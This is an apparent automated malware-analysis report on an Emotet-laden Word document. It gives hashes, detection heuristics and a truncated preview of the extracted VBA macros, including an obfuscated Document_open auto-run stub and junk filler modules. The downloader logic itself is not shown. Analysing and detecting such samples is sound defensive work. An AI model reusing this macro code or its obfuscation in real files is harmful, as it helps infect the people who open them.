Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7973b59bb3c7cf89…

MALICIOUS

Office (OLE)

266.6 KB Created: 2020-02-06 20:09:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: cd8397a557998f72e06fcd0fc2fd8691 SHA-1: a3fd7a992b84ab9ee36d8476f8f7ac55372311e1 SHA-256: 7973b59bb3c7cf89ffcf3e6b993ee09e4a8581fda8d3ac472b3857a750801c8a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The presence of these elements suggests the macro is designed to execute automatically and likely download a second-stage payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-7581139-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-7581139-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12934 bytes
SHA-256: 8544fe8ebb367e878aea3cfe24ac290f80467136ee5ba40c0719c25d04f8ff58
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Meltleprkl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Ttcovylil.Yhwormjdhtose
End Sub

Attribute VB_Name = "Sapuzploao"
Attribute VB_Base = "0{8DD0ACE6-DFAB-4E0A-B04A-41DB8827ACA9}{F21295C6-EBA9-4DBA-9082-D5C1C71C9F90}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Wtupnfhchgm"
Attribute VB_Base = "0{8E0F9C0B-C00C-41E2-ACCE-F1C02C49C09E}{DD692463-9581-40CD-BB6E-3FF9CCF73E39}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Fpfzufaal()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Suxpdypfqav"
Attribute VB_Base = "0{DD688931-8B17-47D2-99A4-614431A0EAE8}{85B599A7-5020-49B7-9DB0-B8AF0D56BCCE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Fauplcxkrbgns()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Hvqlggxthryjq"
Attribute VB_Base = "0{AB1F3B7A-E014-4B96-9CA1-9B87D305480F}{FF67295E-AB0F-445A-B864-2E61904121F5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Gjtjttkloiod()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Qckfsxvkkopi"
Attribute VB_Base = "0{C127A056-A8C6-4394-8603-7AD037415E1A}{BD4B070F-22CA-4028-A571-D561536D5596}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ymthewuwtjz()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Kbcrdwaqpneyi"
Attribute VB_Base = "0{113ECF08-40B0-4864-B5B9-E79E04370965}{5D880B6A-A195-4B1B-B179-2B14B491D7DF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Zftlnxmcohzdy()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Bfpalihxml"
Attribute VB_Base = "0{11D70B9C-411C-4FB6-B318-E78404256E04}{C7C02788-F94D-4187-973D-DAE9E4F8A1E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Iypjvwxxoqoqa()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Nketcwgmyjioo"
Attribute VB_Base = "0{51ED7D64-FFB6-4543-AED1-C9F36D67941F}{D52E06B5-D8AF-4124-B420-BD4BF260F67E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Hzgaedzyd()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Wulryzni"
Attribute VB_Base = "0{C2CFA490-97
... (truncated)